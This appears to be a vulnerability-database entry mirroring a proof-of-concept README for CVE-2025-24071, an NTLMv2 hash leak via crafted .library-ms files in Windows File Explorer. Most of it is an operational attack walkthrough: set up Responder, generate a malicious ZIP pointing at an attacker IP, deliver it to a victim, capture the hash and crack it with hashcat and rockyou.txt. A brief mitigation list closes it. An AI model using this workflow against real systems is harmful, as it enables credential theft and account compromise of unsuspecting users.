POC详情： 64449e92cd1a22514538fdc859b22d2202aa0e92

来源
https://github.com/DeshanFer94/CVE-2025-24071-POC-NTLMHashDisclosure-
关联漏洞
标题： Microsoft Windows File Explorer 信息泄露漏洞 (CVE-2025-24071)
描述：Microsoft Windows File Explorer是美国微软（Microsoft）公司的一个文件管理器应用程序。 Microsoft Windows File Explorer存在信息泄露漏洞。攻击者利用该漏洞可以获取敏感信息。以下产品和版本受到影响：Windows 10 Version 1809 for 32-bit Systems,Windows 10 Version 1809 for x64-based Systems,Windows Server 2019,Windows Server
描述
CVE-2025-24071: NTLMv2 Hash Disclosure via .library-ms File
介绍
# CVE-2025-24071-POC-NTLMHashDisclosure
- Triggers automatic SMB authentication to an attacker-controlled share.
- No interaction required — Windows Explorer initiates this NTLM authentication automatically.
- Results in NTLMv2 hash leakage (information disclosure).
- Affects Windows 10/11 all versions, especially 11 23H2.

## Set Up the Attacker Environment

> sudo apt update && sudo apt install responder -y

Start Responder 

> sudo responder -I eth0

## Run the Exploit Script

Install required Python module
>pip install colorama
>python3 CVE-2025-24071.py -i <attacker_ip> -n testpayload -o ./output --keep

This will generate:
    testpayload.library-ms
    testpayload.zip

## Test on the Victim Machine

Transfer testpayload.zip to the Windows 11 test machine.
Extract the ZIP using Windows File Explorer.
This triggers Windows to try accessing the SMB path, leaking the NTLM hash.

## Capture the Hash
>responder -I etho0

![Image](https://github.com/user-attachments/assets/facabd32-99d1-4c73-860f-5f77b734c3b8)


## Prepare the Hash File

create hash,txt file 
>victim::DOMAIN:1122334455667788:11223344556677889900aabbccddeeff:01010000000000000090d5d00f3

## Choose a Wordlist

most common rockyou.txt

## Run Hashcat

>hashcat -m 5600 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

![Image](https://github.com/user-attachments/assets/9b0a9d7c-793f-4fd0-aa5a-0a2032a85c28)


## Mitigation

- Block outbound SMB (TCP 445) at firewalls.
- Disable automatic authentication to untrusted SMB shares (group policy).
- Monitor for .library-ms file extraction and SMB connections.
文件快照

 [4.0K]  /data/pocs/64449e92cd1a22514538fdc859b22d2202aa0e92
├── [4.0K]  POC
│   └── [3.4K]  CVE-2025-24071.py
└── [1.6K]  README.md

1 directory, 2 files
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